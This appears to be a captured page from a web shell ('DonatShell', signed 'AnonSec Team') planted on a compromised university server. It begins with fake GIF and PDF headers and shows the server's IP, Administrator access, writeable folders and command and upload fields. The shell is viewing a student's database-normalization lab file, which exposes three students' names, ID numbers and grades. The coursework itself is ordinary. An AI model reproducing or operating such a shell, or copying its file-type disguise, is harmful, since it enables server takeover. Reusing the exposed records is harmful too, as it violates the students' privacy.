GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20243/CST1600/41/16523677/Lab09/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20243/CST1600/41/16523677/Lab09/KristaOlson-Lab09.txt
UNF:
studentgrades (StudentId*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP)
lettergrade (LetterGrade1, Percentage1, LetterGrade2, Percentage2, LetterGrade3, Percentage3, LetterGrade4, Percentage4, LetterGrade5, Percentage5, LetterGrade6, Percentage6, LetterGrade7, Percentage7, LetterGrade8, Percentage8, LetterGrade9, Percentage9)
possiblepoints (SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total)

1NF:
 1) The SP, Lab01-Lab09, Final and IP columns need to be separated from the StudentID and StudentName because if a student was deleted the grade information for the individual scores would be lost.
 2) The StudentName field needs to be separated into StudentFirstName and StudentLastName to avoid having fields with multiple values in the same field.
 3) The resulting studentgrades table should not have each assignment in a different column and it should have an assignment name column that could be tied back to the student
    	table.
 3) The lettergrade table needs to have a unique identifier and it should be the letter grade because there could be multiple different percentage per letter grade. Also, there is no need to have numbers under the percentages, you could 	just have the letter grade and the percentage.
 4) The assignment name are currently in both the possible points table and the studentgrades table. This table needs a unique ID for each assignment. Also, having the assignment names as columns would likely cause problems if assignments 	were added in the future including past data would have null values in those columns if future assignment were added.
 
The following entity tables would be:
	student(StudentID*, StudentLastName, StudentFirstName)
	studentgrades(StudentID*, AssignmentName@, StudentAssignPoints, StudentTotalPoints, Final, IP)
	lettergrade(LetterGrade*, Percentage)
	possiblepoints(AssignmentName*, AssignmentPoints, AssignmentsTotalPoints)


2NF:
 1) The Final and IP fields in the studentgrades table have indirect dependencies on non-key attributes (StudentTotalPoints).
 2) The StudentTotal, Final and IP fields are also calculated fields that are dependent on both the possiblepoints and lettergrade tables.

The following entity tables would be:
	student(StudentID*, StudentLastName, StudentFirstName)
	studentgrades(StudentID*, AssignmentName@, StudentAssignPoints)
	studenttotals(StudentID*, StudentTotalPoints, Final, IP)
	lettergrade(LetterGrade*, Percentage)
	possiblepoints(AssignmentName*, AssignmentPoints, AssignmentsTotalPoints)
 
3NF:
 1) The AssignmentsTotalPoints field in the possible points is based on non-key attributes (AssignmentPoints) and should be separated as well.

The following entity tables would be:
	student(StudentID*, StudentLastName, StudentFirstName)
	studentgrades(StudentID*, AssignmentName@, StudentAssignPoints)
	studenttotals(StudentID*, StudentTotalPoints, Final, IP)
	lettergrade(LetterGrade*, Percentage)
	possiblepoints(AssignmentName*, AssignmentPoints)
	possibleTotals(AssignmentsTotalPoints)
 

Three data rows:
student			(StudentID*, 	StudentLastName, 	StudentFirstName)
			84228748	Abbott			Lael
			44107438	Acosta			Bruce
			21479092	Fox			Coby


studentgrades		(StudentID*, 	AssignmentName@, 	StudentAssignPoints)
			84228748	SP			4
			84228748	Lab01			10
			84228748	Lab02			5
			84228748	Lab03			9
			84228748	Lab04			ns
			84228748	Lab05			3
			84228748	Lab06			10
			84228748	Lab07			ns
			84228748	Lab08			ns
			84228748	Lab09			ns
			44107438	SP			5
			44107438	Lab01			10
			44107438	Lab02			5
			44107438	Lab03			10
			44107438	Lab04			10
			44107438	Lab05			15
			44107438	Lab06			10
			44107438	Lab07			15
			44107438	Lab08			15
			44107438	Lab09			ns
			21479092	SP			5
			21479092	Lab01			10
			21479092	Lab02			5
			21479092	Lab03			10
			21479092	Lab04			10
			21479092	Lab05			15
			21479092	Lab06			10
			21479092	Lab07			ng
			21479092	Lab08			ns
			21479092	Lab09			ns

studenttotals		(StudentID*, 	StudentTotalPoints, 	Final, 	IP)
			84228748	41			F	F
			44107438	95			B-	A
			21479092	65			F	A

lettergrade		(LetterGrade*, 	Percentage)
			A		93
			A-		90
			B+		87
			B		83
			B-		80
			C+		77
			C		73
			C-		70
			F		0
possiblepoints      (AssignmentName*, AssignmentPoints)
			SP		5
			Lab01		10
			Lab02		5
			Lab03		10
			Lab04		10
			Lab05		15
			Lab06		10
			Lab07		15
			Lab08		15
			Lab09		15
possibleTotals		(AssignmentsTotalPoints)
			110
	
									

Anon7 - 2022
AnonSec Team